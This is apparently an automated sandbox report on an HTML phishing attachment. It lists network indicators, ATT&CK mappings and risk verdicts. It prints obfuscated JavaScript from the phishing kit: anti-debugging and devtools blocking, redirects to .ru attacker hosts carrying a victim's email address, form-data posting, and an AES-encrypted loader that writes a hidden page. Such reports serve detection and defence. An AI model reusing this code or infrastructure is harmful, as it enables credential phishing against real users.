Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@pointloma.edu

HTTP Parser: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@pointloma.edu

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/Play_VM-NowAccountingAudiowav011.html	0%	Avira URL Cloud	safe
https://ko.komirath.ru/1jVVShGI/	0%	Avira URL Cloud	safe
https://ko.komirath.ru/favicon.ico	0%	Avira URL Cloud	safe
https://ecohomethings.net/res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
s-part-0033.t-0009.t-msedge.net	13.107.246.61	true	false	high
ecohomethings.net	103.83.194.55	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.184.196	true	false	high
f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru	104.21.32.1	true	false	high
ko.komirath.ru	188.114.97.3	true	true	unknown
www.office.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ko.komirath.ru/1jVVShGI/	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=LAqZAjRx%2Ft00S%2BhvUqK47ennzMZV3UiPaUC2C%2B4zrFk0QllE6XUhUM0d1qkKcJkLBR0urO%2BuUGFO9PGerk%2FI59FM2Ljsske%2FnzaJ9jWQscSmue%2FfyKGq6Py1eRDS%2FQ%3D%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fed80f51d3e0f6d&lang=auto	false		high
https://ko.komirath.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/Play_VM-NowAccountingAudiowav011.html	true	Avira URL Cloud: safe	unknown
https://ecohomethings.net/res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js	false		high
https://ko.komirath.ru/1jVVShGI/#F#Maccounting@pointloma.edu	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8fed80f51d3e0f6d/1736353110853/VkuISg1nVdIHrU2	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8fed80f51d3e0f6d/1736353110853/fd70a9f8387cee2195dec1e65241da506a11cc999e612504f6ce0b93e0d569c5/Gfi2UDErHN3VTl7	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.microsoftonline.com	chromecache_100.2.dr, chromecache_91.2.dr	false		high
https://login.windows-ppe.net	chromecache_100.2.dr, chromecache_91.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
104.21.32.1	f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru	United States	13335	CLOUDFLARENETUS	false
103.83.194.55	ecohomethings.net	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	ko.komirath.ru	European Union	13335	CLOUDFLARENETUS	true
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586068
Start date and time:	2025-01-08 17:17:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Play_VM-NowAccountingAudiowav011.html
Detection:	MAL
Classification:	mal64.phis.evad.winHTML@19/80@40/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 216.58.206.78, 74.125.71.84, 172.217.16.142, 192.229.221.95, 142.250.185.142, 142.250.185.238, 142.250.186.174, 142.250.184.206, 142.250.186.142, 40.126.32.134, 40.126.32.68, 20.190.160.20, 20.190.160.14, 20.190.160.17, 40.126.32.140, 40.126.32.76, 20.190.160.22, 13.107.6.156, 20.190.159.75, 20.190.159.23, 40.126.31.67, 40.126.31.71, 20.190.159.68, 20.190.159.64, 20.190.159.71, 40.126.31.69, 40.126.32.72, 40.126.32.138, 40.126.32.74, 40.126.32.136, 142.250.185.234, 142.250.185.202, 142.250.186.170, 172.217.18.106, 172.217.16.138, 142.250.185.138, 172.217.18.10, 142.250.185.106, 216.58.212.138, 172.217.23.106, 142.250.185.170, 142.250.185.74, 142.250.186.138, 142.250.184.202, 142.250.181.234, 142.250.184.234, 216.58.212.163, 51.116.253.169, 142.250.186.110, 2.19.11.102, 2.19.11.117, 142.250.181.238, 216.58.212.174, 142.251.40.206, 74.125.0.74, 172.217.18.14, 20.12.23.50, 23.56.254.164, 13.107.5.88, 2.23.227.221, 13.107.246.61, 13.107.253.45
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, onedscolprdgwc04.germanywestcentral.cloudapp.azure.com, slscr.update.microsoft.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, a1894.dscb.akamai.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, login.mso.msidentity.com, www.bing.com, clients1.google.com, www.tm.ak.prd.aadg.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, b-0004.b-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, aadcdn.msauth.net, r5.sn-t0aedn7e.gvt1.com, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, evoke-windowsservices-tas.msedge.net, aadcdnoriginwus2.afd.azureedge.net, r5---sn-t0aedn7e.gvt1.c
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Play_VM-NowAccountingAudiowav011.html

Input	Output
URL: https://microsoftonline.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoftonline.com
URL: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@poi... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of preventing analysis and redirecting users to a phishing or malware-hosting site." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); yzHuXDEEEp = false; (function AZcOYtHdOf() { let kBRIpbUiZo = false; const fxYzytingR = 100; setInterval(function() { const DciaMTMyGc = performance.now(); debugger; const yzKszyjFZC = performance.now(); if (yzKszyjFZC - DciaMTMyGc > fxYzytingR && !kBRIpbUiZo) { yzHuXDEEEp = true; kBRIpbUiZo = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@poi... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, the script demonstrates malicious intent and poses a significant security risk." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA3bMRi2wgFRnskD', 'error-callback': xUoCRhivea, callback: diriveSqij, }); function xUoCRhivea() { turnstile.reset(); } function diriveSqij() { var PFZQzwckBY = document.getElementById("HCNkbRIARx"); PFZQzwckBY.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'GKtoyH'; var HOlmhHOtaV = "../pl8g4v9v7msMvwCjsqpYMbnenvg25U5t"; fetch('https://F8Rko9tQHRAAQP1wRwKiMCXpswDdjyadiut8moAtuCqrTVAAHAnY8oCAazkP.gageodeg.ru/FXUlHfBCTswoYClXnVBsEvsBqlkNEYVCLNNXNHYSQNLZCMMECDEYJPEIIFNOALYZPLRTPRWHNMWP', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(HOlmhHOtaV, { method: "POST", body: new FormData(PFZQzwckBY) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(yzHuXDEEEp == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@poi... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution." }
if(atob("aHR0cHM6Ly93Qy5rb21pcmF0aC5ydS8xalZWU2hHSS8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNNSUxxUUpPQ0VoIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI01JTHFRSk9DRWggaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI01JTHFRSk9DRWggaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojTUlMcVFKT0NFaCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI01JTHFRSk9DRWguY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTE2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNNSUxxUUpPQ0VoIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojTUlMcVFKT0NFaCAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI01JTHFRSk9DRWggLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojTUlMcVFKT0NFaCAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojTUlMcVFKT0NFaCAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI01JTHFRSk9DRWggLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI01JTHFRSk9DRWgubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNNSUxxUUpPQ0VoIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojTUlMcVFKT0NFaCAjUVlXR3FBSlhBVyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KeXpIdVhERUVFcCA9IGZhbHNlOw0KKGZ1bmN0aW9uIEFaY09ZdEhkT2YoKSB7DQogICAgbGV0IGtCUklwYlVpWm8gPSBmYWxzZTsNCiAgICBjb25zdCBmeFl6eXRpbmdSID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBEY2lhTVRNeUdjID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAg
URL: file:///C:/Users/user/Desktop/Play_VM-NowAccount... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscated URLs and the aggressive manipulation of the DOM further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of potential malicious intent." }
let url = null; if (!"#Maccounting@pointloma.edu".includes('#')) { url = "https://Ko.komirath.ru/1jVVShGI/"; } if ("#Maccounting@pointloma.edu".includes('#')) { url = "https://Ko.komirath.ru/1jVVShGI/" + "#" + String.fromCharCode(Math.floor(Math.random() * (90 - 65 + 1)) + 65); } var MpNLdRuxAKtmrIQg = document.createElement('a'); MpNLdRuxAKtmrIQg.href = url+"#Maccounting@pointloma.edu"; document.write(MpNLdRuxAKtmrIQg); document.body.innerHTML = ""; document.body.appendChild(MpNLdRuxAKtmrIQg); MpNLdRuxAKtmrIQg.click();
URL: https://ecohomethings.net/res444.php?2-68747470733... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates several moderate-risk behaviors, including the use of external data transmission, obfuscated code, and dynamic code execution. While the script appears to be using legitimate cryptographic libraries, the overall behavior and lack of transparency raise concerns that require further investigation." }
var CupKfafNVuZTWHvy = document.createElement("script"); CupKfafNVuZTWHvy.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); document.head.append(CupKfafNVuZTWHvy); CupKfafNVuZTWHvy.onload=function(){ var {a,b,c,d} = JSON.parse(atob("eyJhIjoiMFMwZ0I3eFNtcmp0bHpURFlXazE2YUtUKzZuMFppYVZTWHFjYVFJcjA5Q1wvK1wvMkRENjJuXC8xZXBqSThpY29WbzZDazZMdzMwOFVTNzFhY2dHR0p2VXZ0bUZSUmtrTzF0MlNPU3pncnZuRzZuMHZxUCt6QnpuT3AyWUdCTVJGcmFtWEpsOExHRkFKVSs1aWg4dlJjZDh5WWVXMkpHRnB2ZlJBUWs0R2JWZmFJbmt4d1pYMU5kaDcrOW5hd1JZUVhlVlFydmhRcTBcL3dqM1dCZFd5TFZjR0dHR3BYaGhkRTVEbGZFeUdZcWFiUHRIa1ZERWpQZDlLQ0prdVRhWVRFbE15bUt3UlZcL0ppRVgwQ0FreklMSm5IdzhWODJRYlpcL2hnQWx6ZzBvM2NJb2VIRWIzcFNuZDhwMmdpbDY0aEJFVUoyYXpOKzNcL2J4YjdOd1ZYZmtVWExlV0lOaUdrNHNmZ2Y0c0k4ZmxEV0lsdUZlM0pCSGhpRDRSdUJiVFBWU1ZFM3UzcW1iXC9IZ1ZXdGxrK2dpS0ZnQVVHeFJMRUhabk1YYzdqZHBPR0ZYRlpMT1VOc2VTcWR2WkNKTjFiTmxlMHVWV3RuTkNwcTJ2MndSVXpZUnNiTERyUldJVTk3WWFvMjhqQVpzZnpTUFhHTzRmUzFOeEFpVFNGbXRVanErRGc0V0lNbUNwQ1M3SWorajFEalBCN1hEM0Q5bjhYWG85V3p0Qnd3R0hIUzZXejgyMllOV1pQWXlCdVdzZUZST2JlcmhWN0tKT09Sa242XC9XZVp4cUlMM0xMXC8zU3lLOG43ZG01YXQ4Nml6QXB4QWh5THhlclRCQUFsS0x3dXB2ZGo2SDdXZk9BdHdMQndWcVU1dHp3ZDB5MXh0cDdQU1REY01rcTROV2wwU0gwQ3ZNczhZeFR1TENQQWEwVXBxaEdCZkM3cE5NNkFGVVViZzc3eU5HcHAzWWExZ29OcUoyTmJSNUpEQWo3TWp4Y2ZkTlFHVlJ2Qm8yM0pnaXRKMEJZbitzd2p3VkZGcjY2VEtiaGxXd1BmODduakE9PSIsImIiOiJjMTM4NDAyOGEwNTkzOWQzZTZkM2UzMjZiYjczZjIzNiIsImMiOiJhMGRiNjQ3Y2RmMWUxYjAxZjc3NjQyYmM0N2MzNGFiYSIsImQiOiIzMzM1NjI2MjMyMzc2MzY2NjMzMTM2NjYzMjM1MzgzNzM2MzgzMDM4MzIzODYyMzkzMzMxMzMzNTMyMzM2NjY2In0=")); var ZGjVcjtxyiAhBCQV = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999}); dRVPdLCMUEgkGxFh = CryptoJS.AES.decrypt(a,ZGjVcjtxyiAhBCQV,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8); dRVPdLCMUEgkGxFh = dRVPdLCMUEgkGxFh.replace(/UTKeHoIakwtsLRXM/g, hemlock); document.write(dRVPdLCMUEgkGxFh); }
URL: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@pointloma.edu Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@pointloma.edu Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
